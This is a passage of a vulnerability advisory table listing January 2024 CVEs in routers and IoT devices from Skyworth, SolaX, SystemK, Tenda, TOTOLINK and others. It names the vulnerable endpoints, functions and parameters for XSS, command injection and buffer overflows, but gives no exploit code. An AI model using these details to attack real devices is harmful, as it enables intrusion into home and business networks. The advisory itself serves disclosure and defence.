			web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51728**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the DDNS Username parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored	N/A	H-SKY-CM51-090224/1849

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			XSS attacks on the targeted system. **CVE ID : CVE-2023-51729**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the DDNS Password parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51730**	N/A	H-SKY-CM51-090224/1850
Improper Neutralization of Input During	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient	N/A	H-SKY-CM51-090224/1851

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			validation of user supplied input for the Hostname parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51731**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the IPsec Tunnel Name parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of	N/A	H-SKY-CM51-090224/1852

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51732**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Identity parameter under Local endpoint settings at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored	N/A	H-SKY-CM51-090224/1853

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			XSS attacks on the targeted system. **CVE ID : CVE-2023-51733**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Identity parameter under Remote endpoint settings at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51734**	N/A	H-SKY-CM51-090224/1854
Improper Neutralization of Input	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24,	N/A	H-SKY-CM51-090224/1855

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
During Web Page Generation ('Cross-site Scripting')			due to insufficient validation of user supplied input for the Pre-shared key parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51735**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the L2TP/PPTP Username parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the	N/A	H-SKY-CM51-090224/1856

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51736**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Preshared Phrase parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored	N/A	H-SKY-CM51-090224/1857

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			XSS attacks on the targeted system. **CVE ID : CVE-2023-51737**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Network Name (SSID) parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51738**	N/A	H-SKY-CM51-090224/1858
Improper Neutralization of Input During Web Page	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user	N/A	H-SKY-CM51-090224/1859

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation ('Cross-site Scripting')			supplied input for the Device Name parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51739**		
Vendor: solax					
Product: pocket_wifi_3					
Affected Version(s): -					
N/A	23-Jan-2024	9.8	An issue was discovered in SolaX Pocket WiFi 3 through 3.001.02. Authentication for web interface is completed via an unauthenticated WiFi AP. The administrative password for the web interface has a default password, equal to the	N/A	H-SOL-POCK-090224/1860

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			registration ID of the device. This same registration ID is used as the WiFi SSID name. No routine is in place to force a change to this password on first use or bring its default state to the attention of the user. Once authenticated, an attacker can reconfigure the device or upload new firmware, both of which can lead to Denial of Service, code execution, or Escalation of Privileges. **CVE ID : CVE-2023-35837**		
N/A	23-Jan-2024	6.5	An issue was discovered in SolaX Pocket WiFi 3 through 3.001.02. An attacker within RF range can obtain a cleartext copy of the network configuration of the device, including the Wi-Fi PSK, during device setup and reconfiguration. Upon success, the attacker is able to	N/A	H-SOL-POCK-090224/1861

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			further infiltrate the target's Wi-Fi networks. **CVE ID : CVE-2023-35836**		
Vendor: systemk-corp					
Product: nvr_504					
Affected Version(s): -					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	25-Jan-2024	9.8	SystemK NVR 504/508/516 versions 2.3.5SK.30084998 and prior are vulnerable to a command injection vulnerability in the dynamic domain name system (DDNS) settings that could allow an attacker to execute arbitrary commands with root privileges. **CVE ID : CVE-2023-7227**	N/A	H-SYS-NVR_-090224/1862
Product: nvr_508					
Affected Version(s): -					
Improper Neutralization of Special Elements	25-Jan-2024	9.8	SystemK NVR 504/508/516 versions 2.3.5SK.30084998	N/A	H-SYS-NVR_-090224/1863

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
used in a Command ('Command Injection')			and prior are vulnerable to a command injection vulnerability in the dynamic domain name system (DDNS) settings that could allow an attacker to execute arbitrary commands with root privileges. **CVE ID : CVE-2023-7227**		
Product: nvr_516					
Affected Version(s): -					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	25-Jan-2024	9.8	SystemK NVR 504/508/516 versions 2.3.5SK.30084998 and prior are vulnerable to a command injection vulnerability in the dynamic domain name system (DDNS) settings that could allow an attacker to execute arbitrary commands with root privileges.	N/A	H-SYS-NVR_-090224/1864

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-7227		
Vendor: Technicolor					
Product: tc8715d					
Affected Version(s): -					
N/A	22-Jan-2024	8.8	Technicolor TC8715D devices have predictable default WPA2 security passwords. An attacker who scans for SSID and BSSID values may be able to predict these passwords. **CVE ID : CVE-2023-47352**	N/A	H-TEC-TC87-090224/1865
Vendor: Tenda					
Product: ac10u					
Affected Version(s): -					
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability, which was classified as critical, was found in Tenda AC10U 15.03.06.49_multi_TDE01. This affects the function formSetPPTPServer. The manipulation of the argument startIp leads to stack-based buffer overflow. It is possible to initiate	N/A	H-TEN-AC10-090224/1866

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252129 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0924**		
Product: i6					
Affected Version(s): -					
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability, which was classified as critical, was found in Tenda i6 1.0.0.9(3857). This affects the function formSetAutoPing of the file /goform/setAutoPing of the component httpd. The manipulation of the argument ping1 leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The	N/A	H-TEN-I6-090224/1867

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			associated identifier of this vulnerability is VDB-252255. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0990**		
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability has been found in Tenda i6 1.0.0.9(3857) and classified as critical. This vulnerability affects the function formSetCfm of the file /goform/setcfm of the component httpd. The manipulation of the argument funcpara1 leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252256. NOTE: The vendor was contacted early about this disclosure but did	N/A	H-TEN-I6-090224/1868

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			not respond in any way. **CVE ID : CVE-2024-0991**		
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability was found in Tenda i6 1.0.0.9(3857) and classified as critical. This issue affects the function formwrlSSIDset of the file /goform/wifiSSIDset of the component httpd. The manipulation of the argument index leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252257 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0992**	N/A	H-TEN-I6-090224/1869
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability was found in Tenda i6 1.0.0.9(3857). It has been classified as critical. Affected	N/A	H-TEN-I6-090224/1870

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			is the function formWifiMacFilterGet of the file /goform/WifiMacFilterGet of the component httpd. The manipulation of the argument index leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-252258 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0993**		
Product: i9					
Affected Version(s): 2.0					
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability classified as critical has been found in Tenda i9 1.0.0.9(4122). This affects the function formSetCfm of the file /goform/setcfm of the component httpd. The manipulation of the	N/A	H-TEN-I9-090224/1871

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			argument funcpara1 leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252261 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0996**		
Product: w6					
Affected Version(s): -					
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability was found in Tenda W6 1.0.0.9(4122). It has been declared as critical. Affected by this vulnerability is the function formSetCfm of the file /goform/setcfm of the component httpd. The manipulation of the argument funcpara1 leads to stack-based buffer overflow. The attack can be	N/A	H-TEN-W6-090224/1872

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252259. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0994**		
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability was found in Tenda W6 1.0.0.9(4122). It has been rated as critical. Affected by this issue is the function formwrlSSIDset of the file /goform/wifiSSIDset of the component httpd. The manipulation of the argument index leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252260.	N/A	H-TEN-W6-090224/1873

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0995**		
Vendor: Tendacn					
Product: ac10u					
Affected Version(s): 1.0					
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability classified as critical was found in Tenda AC10U 15.03.06.49_multi_TDE01. Affected by this vulnerability is the function formQuickIndex. The manipulation of the argument PPPOEPassword leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252127. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	N/A	H-TEN-AC10-090224/1874

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0922		
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability, which was classified as critical, has been found in Tenda AC10U 15.03.06.49_multi_TDE01. Affected by this issue is the function formSetDeviceName. The manipulation of the argument devName leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252128. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0923**	N/A	H-TEN-AC10-090224/1875
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability has been found in Tenda AC10U 15.03.06.49_multi_TDE01 and classified as critical. This	N/A	H-TEN-AC10-090224/1876

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability affects the function formSetVirtualSer. The manipulation of the argument list leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-252130 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0925**		
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability was found in Tenda AC10U 15.03.06.49_multi_TDE01 and classified as critical. This issue affects the function formWifiWpsOOB. The manipulation of the argument index leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has	N/A	H-TEN-AC10-090224/1877

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252131. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0926**		
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability was found in Tenda AC10U 15.03.06.49_multi_TDE01. It has been classified as critical. Affected is the function fromAddressNat. The manipulation of the argument entrys/mitInterface/page leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252132. NOTE: The vendor was contacted early about this disclosure but did	N/A	H-TEN-AC10-090224/1878

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			not respond in any way. **CVE ID : CVE-2024-0927**		
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability was found in Tenda AC10U 15.03.06.49_multi_TDE01. It has been declared as critical. Affected by this vulnerability is the function fromDhcpListClient. The manipulation of the argument page/listN leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252133 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0928**	N/A	H-TEN-AC10-090224/1879
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability was found in Tenda AC10U 15.03.06.49_multi_TDE01. It has been rated as critical.	N/A	H-TEN-AC10-090224/1880

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Affected by this issue is the function fromNatStaticSetting. The manipulation of the argument page leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-252134 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0929**		
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability classified as critical has been found in Tenda AC10U 15.03.06.49_multi_TDE01. This affects the function fromSetWirelessRepeat. The manipulation of the argument wpapsk_crypto leads to stack-based buffer overflow. It is	N/A	H-TEN-AC10-090224/1881

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252135. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0930**		
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability classified as critical was found in Tenda AC10U 15.03.06.49_multi_TDE01. This vulnerability affects the function saveParentControlInfo. The manipulation of the argument deviceId/time/urls leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is	N/A	H-TEN-AC10-090224/1882

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			VDB-252136. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0931**		
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability, which was classified as critical, has been found in Tenda AC10U 15.03.06.49_multi_TDE01. This issue affects the function setSmartPowerManagement. The manipulation of the argument time leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252137 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0932**	N/A	H-TEN-AC10-090224/1883

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: tenhot					
Product: tws-200					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	18-Jan-2024	8.8	An issue discovered in TenghuTOS TWS-200 firmware version:V4.0-201809201424 allows a remote attacker to execute arbitrary code via crafted command on the ping page component. **CVE ID : CVE-2023-51217**	N/A	H-TEN-TWS--090224/1884
Vendor: totolink					
Product: a3300r					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setParentalRules function. **CVE ID : CVE-2024-24325**	N/A	H-TOT-A330-090224/1885
Improper Neutralization of Special Elements used in an OS Command	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the arpEnable	N/A	H-TOT-A330-090224/1886

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('OS Command Injection')			parameter in the setStaticDhcpRules function. **CVE ID : CVE-2024-24326**		
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the pppoePass parameter in the setIpv6Cfg function. **CVE ID : CVE-2024-24327**	N/A	H-TOT-A330-090224/1887
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setMacFilterRules function. **CVE ID : CVE-2024-24328**	N/A	H-TOT-A330-090224/1888
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setPortForwardRules function.	N/A	H-TOT-A330-090224/1889

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-24329		
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the port or enable parameter in the setRemoteCfg function. **CVE ID : CVE-2024-24330**	N/A	H-TOT-A330-090224/1890
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setWiFiScheduleCfg function. **CVE ID : CVE-2024-24331**	N/A	H-TOT-A330-090224/1891
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the url parameter in the setUrlFilterRules function. **CVE ID : CVE-2024-24332**	N/A	H-TOT-A330-090224/1892

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the desc parameter in the setWiFiAclRules function. **CVE ID : CVE-2024-24333**	N/A	H-TOT-A330-090224/1893
Product: a3700r					
Affected Version(s): -					
Out-of-bounds Write	23-Jan-2024	9.8	TOTOLINK_A3700R_V9.1.2u.6165_20211012has a stack overflow vulnerability via setLanguageCfg **CVE ID : CVE-2024-22660**	N/A	H-TOT-A370-090224/1894
Out-of-bounds Write	23-Jan-2024	9.8	TOTOLINK A3700R_V9.1.2u.6165_20211012 has a stack overflow vulnerability via setParentalRules **CVE ID : CVE-2024-22662**	N/A	H-TOT-A370-090224/1895
Improper Neutralization of Special Elements used in a Command ('Command Injection')	23-Jan-2024	9.8	TOTOLINK_A3700R_V9.1.2u.6165_20211012has a command Injection vulnerability via setOpModeCfg **CVE ID : CVE-2024-22663**	N/A	H-TOT-A370-090224/1896

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: a8000ru					
Affected Version(s): -					
Use of Hard-coded Credentials	30-Jan-2024	9.8	TOTOLINK A8000RU v7.1cu.643_B20200521 was discovered to contain a hardcoded password for root stored in /etc/shadow. **CVE ID : CVE-2024-24324**	N/A	H-TOT-A800-090224/1897
Product: lr1200gb					
Affected Version(s): -					
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability, which was classified as critical, has been found in Totolink LR1200GB 9.1.0u.6619_B20230130. This issue affects the function setSmsCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument text leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is	N/A	H-TOT-LR12-090224/1898

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			VDB-250787. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0571**		
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability, which was classified as critical, was found in Totolink LR1200GB 9.1.0u.6619_B20230130. Affected is the function setOpModeCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument pppoeUser leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250788. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0572**	N/A	H-TOT-LR12-090224/1899

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability has been found in Totolink LR1200GB 9.1.0u.6619_B20230130 and classified as critical. Affected by this vulnerability is the function setDiagnosisCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument ip leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250789 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0573**	N/A	H-TOT-LR12-090224/1900
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability was found in Totolink LR1200GB 9.1.0u.6619_B20230130 and classified as critical. Affected by this issue is the function	N/A	H-TOT-LR12-090224/1901

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			setParentalRules of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument sTime leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250790 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0574**		
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability was found in Totolink LR1200GB 9.1.0u.6619_B20230130. It has been classified as critical. This affects the function setTracerouteCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument command leads to stack-based buffer overflow. It is possible to initiate	N/A	H-TOT-LR12-090224/1902

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250791. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0575**		
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability was found in Totolink LR1200GB 9.1.0u.6619_B20230130. It has been declared as critical. This vulnerability affects the function setIpPortFilterRules of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument sPort leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250792.	N/A	H-TOT-LR12-090224/1903

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0576**		
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability was found in Totolink LR1200GB 9.1.0u.6619_B20230130. It has been rated as critical. This issue affects the function setLanguageCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument lang leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250793 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0577**	N/A	H-TOT-LR12-090224/1904

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability classified as critical has been found in Totolink LR1200GB 9.1.0u.6619_B20230130. Affected is the function UploadCustomModule of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument File leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250794 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0578**	N/A	H-TOT-LR12-090224/1905
Product: n200re					
Affected Version(s): -					
Stack-based Buffer Overflow	29-Jan-2024	9.8	A vulnerability classified as critical has been found in Totolink N200RE 9.3.5u.6139_B20201216. Affected is the function main	N/A	H-TOT-N200-090224/1906

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of the file /cgi-bin/cstecgi.cgi. The manipulation leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-252270 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-1001**		
Stack-based Buffer Overflow	29-Jan-2024	8.8	A vulnerability was found in Totolink N200RE 9.3.5u.6139_B20201216 and classified as critical. Affected by this issue is the function setOpModeCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument pppoeUser leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to	N/A	H-TOT-N200-090224/1907

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the public and may be used. VDB-252266 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0997**		
Stack-based Buffer Overflow	29-Jan-2024	8.8	A vulnerability was found in Totolink N200RE 9.3.5u.6139_B20201216. It has been classified as critical. This affects the function setDiagnosisCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument ip leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252267. NOTE: The vendor was contacted early about this	N/A	H-TOT-N200-090224/1908

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure but did not respond in any way. **CVE ID : CVE-2024-0998**		
Stack-based Buffer Overflow	29-Jan-2024	8.8	A vulnerability was found in Totolink N200RE 9.3.5u.6139_B20201216. It has been declared as critical. This vulnerability affects the function setParentalRules of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument eTime leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252268. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0999**	N/A	H-TOT-N200-090224/1909
